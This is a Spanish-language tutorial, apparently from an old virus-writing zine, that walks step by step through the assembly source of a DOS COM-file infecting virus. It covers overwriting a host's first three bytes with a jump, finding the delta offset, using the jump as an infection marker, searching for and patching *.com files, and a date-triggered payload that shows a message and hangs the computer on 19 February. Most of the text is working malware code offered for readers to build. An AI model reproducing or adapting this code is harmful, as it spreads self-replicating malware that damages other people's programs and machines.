Empezaremos por contaminar archivos com, ¿que qué diferencia hay entre archivos com y exe? pues fácil, si os habéis fijado los archivos com ocupan como máximo 65 kbytes y pico. ¿qué porque es así? , pues porque los com se cargan en un único segmento de memoria. Y no me vengáis diciendo que el command.com del windows 95 tiene más porque aunque tiene extensión com es un archivo exe (es un exe camuflado je,je,je ;) ) Los exe's utilizan un cabezera con información acerca del tamaño del archivo,la posición inicial para empezar a ejecutar el file la posición del stack y demás choradas necesárias para cargarlo en varios segmentos de memoria.El inicio de dicha cabecera es MZ ¿que porque esa marca? ,yo que sé ,yo no creé la estructura de los exe's, de alguna manera los tenían que marcar. Bueno la verdad es que lo que realmente diferencia un exe de un com es esa marca , la extensión simplemente sirve para que el DOS sepa que ejecutar primero com->exe->bat. El virus que vamos a hacer no será residente por lo que es bastante sencillo .Contamina en un único directorio por lo que además de ser sencillo tendrá una infección practicamente patética. Pero bueno es pa ke entendáis el rollo este de los com. La contaminación de los com's se puede hacer añadiendo el código del virus al principio del hoste(programa infectado) pero no es recomendable por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros bytes del archivo (guardarlos en el código del virus) poner en su lugar un jmp virus (es decir un salto incodicional al código del virus, que lo añadimos al final del hoste).Cuando acaba la ejecución del virus los 3 bytes que habías guardado los restauramos al principio del virus y le pasamos el control al hoste. Facil noooo??? ----------------- | jmp virus | ----------------- | codigo del | | hoste | ----------------- | virus: | | contamina | | recupera los | | 3 bytes | | originales y | | jmp hoste | ----------------- Ahora que sabemos la teoría , tenemos que buscar una manera de marcar los archivos para no volverlos a contaminar infinitas veces. Como vamos a tener que poner un jmp al principio del hoste , pues este propio jmp funcioná de marca de infección. El virus infectará a los archivos que no empiecen con un jmp.El código del jmp ocupa 1 byte y la dirección a saltar con un byte ocupa 2 bytes 1 byte del jmp + 2 bytes dirección = 3 bytes (lo que pillamos del hoste) Otra cosa. Al programar un virus lo que se hace normalmente es crear un archivo contaminado, en este caso nuestro hoste contaminado contendrá un jmp start (salto al principio del virus) y la int 20h para regresar al dos. longitud equ fin-start code segment 'code' assume cs:code,ds:code,es:code org 100h ;empiezo en 100 ya que es un com hoste: jmp start ;esto es un hoste simulado int 20h ;con esto salgo al DOS start: push bp call alli ; busco la ip de inicio alli: pop bp ; para que la variables no sub bp,offset alli ; aparezcan corridas :-) Con esto lo que hacemos es definir la constante longitud como la diferencia entre dos etiquetas que hemos puesto al principio y al final del virus(obviamente) con lo que el linkador nos traducirá longitud como el tamaño del virus. El org 100h es para que el programa se carge en el offset 100h, los com's siempre se cargan en el offset 100h ya que tienen que dejar 100h bytes para que el DOS guarde información sobre el programa esos 100h bytes forman lo que se llama el PSP. En el hoste meto un jmp start con lo que este archivo estará ya marcado como infectado. Ahora viene lo gracioso, que coño hace ese call ahí.Bueno ¿por qué un call? ¿acaso los call no són para llamar a procedimientos? ¿y el procedimiento?¿no veo ninguno?¿y la famosa instrucción ret para regresar del procedimiento tampoco la veo? Respuesta: No es una llamada a un procedimiento. Es simplemente una pirula para que se puedan direccionar las variables. ¿quéeee?. Si bueno no sé si si os habéis dado cuenta que el virus se añade al final del hoste con lo que en cada hoste las variables se encontrarán en diferente offset (el offset es una dirección dentro de un segmento , y un segmento es un bloque de memoria de 65536 bytes) Las referencias a variables ( como mov ax,variable) el linkador las traduce a un numero (mov ax,056f2h por ejemplo) Por esto es por lo que hay que inventarse una pirula para hallar el verdadero offset de las variables( en busca del offset perdido). Ahora bien que os parece si sumamos a cada referencia a variable el incremento del tamaño del hoste respecto al hoste ficticio que hemos creado,que lo podríamos tener almacenado en un registro como el bp (que no es muy usado). Ahora las referencias a variables quedarían así: mov ax,bp+variable ;) No está mal el invento pero ¿cómo coño hallamos ese incremento que sufre el offset?.Ahora es cuando utilizamos las maravillosas cualidades del comando call.El comando call no sólo salta al comienzo del procedimiento sinó que apila la dirección de regreso para que luego utilizando la instrucción ret se pueda regresar a la posición desde la que fué llamada.Pero bueno, que preciosidad de comando ,pues yo ahora hago un call findoffset y en vez de enviar el control a un procedimiento utilizo el comando pop para desapilar la dirección apilada con el call. Pero la cosa no se queda ahí, ahora le resto a esa direccion (almacenada en bp) el offset de la etiqueta findoffset ahora acabamos de obtener el desplazamiento que sufriran las variables. NOTA:Las intrucciónes offset algo el linkador las traduce por un número por lo que en cada archivo infectado 'offset findoffset' siempre será el mismo número. el offset de la etiqueta findoffset del archivo que vamos a crear. Si te fijas en el archivo que vamos a obtener el bp tomará el valor 0 esto es correcto ya que en el archivo original no se produce ningun desplazamiento,respecto a su propio tamaño ; ). push cs push cs pop ds pop es push ax push bx push cx ; APILO LOS REGISTROS push dx push di push si Con esto ds y es se quedan con el valor de cs ya que trabajamos en un único segmento. Además apilo los registros para que no se modifique su valor. Ahora viene un punto muy importante en este virus es recuperar los 3 bytes originales.Esto lo hacemos antes de la contaminación ya que la variable cab_ORIG la sobreescribiremos en el proceso de infección. cld mov cx,3d ;en cx el numero de bytes a mover mov di,100h ;muevo de ds:si ->es:di lea si,bp+cab_ORIG ;es decir de la variable cab_ORIG a 100h rep movsb Ten en cuenta que sobreescribo estos 3 bytes en memoria el archivo contaminado siempre tendra tu jmp START. ************* Quien quiera pasar de esto que lo haga ******* ************* es la activación del virus ******* Se activa el 19 de Febrero mi Cumpleaños (que original). mov ah, 02h int 21h cmp dh, 2d ;compruebo si el mes es 2 jne noactivo cmp dl, 19d ;compruebo si el dia es 19 jne noactivo mov ax,0900h ;aparece el mensaje en pantalla lea dx,bp+mensaje ;si es 19 del 2 sino se salta a noactivo int 21h hlt ;cuelgo el ordenata noactivo: ************* Final de la activaci¢n ************************* mov ah,4eh ; lea dx,bp+file_cont ; mov cx,00000000b ; BUSQUEDA DEL ARCHIVO int 21h ; con esto busco archivos que cumplan que tienen extensión com *.com . en ds:dx esta la dirección de la cadena '*.com' en ah la llamada a la función de busqueda y en cx los atributos. Es recomendable trabajar con una buena lista de interrupciones yo recomiendo personalmente la lista de Ralf Brown yo diría que sin duda es la mejor . Si la han quitado la podréis conseguir de la página de Cicatrix. Ojo a que ponemos bp+file_cont en vez de file_cont a secas. otro: mov ah,4fh int 21h jb salir ;salto si no quedan más archivos ;con extensión com mov ax, 3d00h ;abro el archivo para lectura mov dx, 009eh int 21h mov bx,ax ;guardo el handel Al encontrar un archivo con extensión com lo abro para ver si está contaminado. Ten en cuenta que la información obtenida con la funcion 4fh de la interrupción 21 (busqueda de archivo) se guarda en el DTA(disk transfer area) que forma parte del PSP (que son los 100 bytes iniciales del segmento donde se ejecuta el com). El DTA empieza en el offset 80h y tiene la siguiente estructura: offset Bytes ocupados Funci¢n 00h 21d Usado por el dos para la función 4f (buscar proximo) 15h 01d Atributos del file encontrado 16h 02d Hora del archivo 18h 02d Fecha del file 1Ah 04d Tamaño del archivo en bytes 1Eh 13d Nombre del archivo Ahora que sabemos esto para abrir un archivo encontrado con las funciones 4Eh y 4Fh sólo tenemos que poner en dx la dirección del campo Nombre de Archivo del DTA. Esta se encuentra en el offset 1Eh del DTA pero como el DTA se encuentra en el offset 80h, la dirección real será 80h+1Eh= 9Eh. mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov cx,3h ;longitud a copiar lea dx,[bp+cab_Orig] ;direccion donde se copiara mov ah,3fh ;funcion de lectura int 21h En la variable cab_ORIG los 3 primeros byte del archivo . Esto es para comprobar si está infectado y si lo está de paso ya tengo los 3 bytes para poder recuperarlos luego.(ten en cuenta que a estas alturas ya hemos recuperado en memoria los 3 bytes originales del file). mov ah ,3eh ;cierro el archivo int 21h cmp byte ptr [bp+cab_ORIG],0E9h ;si empieza con un jmp je otro ;no lo contamina y busca otro Cierro el archivo y compruebo si el byte almacenado en cab_ORIG es igual a 0E9h que es el código de la intrucción jmp. Si es igual probablemente esté contaminado por lo que buscamos otro mov ax, 3d02h ;abro el archivo para r/w mov dx, 009eh int 21h mov word ptr ds:[bp+handel],ax ;guardo en handel en la variable mov bx,ax ; guardo en bx el handle del archivo Fijate bien que todas las referencias a variables se realizan sumando bp. mov cx, 2h mov si,009Ah lea di,[bp+cabecera+1] rep movsb Ahora hallamos el tamaño del archivo , lo leemos del DTA como ya hicimos con el nombre del archivo sub word ptr [bp+cabecera+1],3 Ahora resto al tamaño del archivo lo que ocupa el tamaño del jmp (3 bytes) ya que el salto comienza realmente desde la siguiente instrucción. mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov ah,40h ;escribo los nuevos 3 bytes mov cx,3h ;que tendrá el archivo lea dx,bp+cabacera int 21h Que conste que la variable cabecera la ten¡a preparada con un E9h en el primer bytes(jmp) mirar la definición de variables del final Por ello lo único que he tenido que hacer es completarla metiendo la dirección hallada. mov ax,4202h ;muevo el puntero al final mov cx,0000h mov dx,0000h int 21h mov ah,40h mov cx,longitud ;en cx el número de bytes a copiar lea dx,bp+start ;pues la longitud del archivo int 21h ;que va a ser mov ah ,3eh ;cierro el archivo int 21h Completamos la infección cerrando el archivo salir: pop si ; pop di ; pop dx ; DESAPILO LOS REGISTROS pop cx ; pop bx ; pop ax ; pop bp ; mov ax,100h ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO jmp ax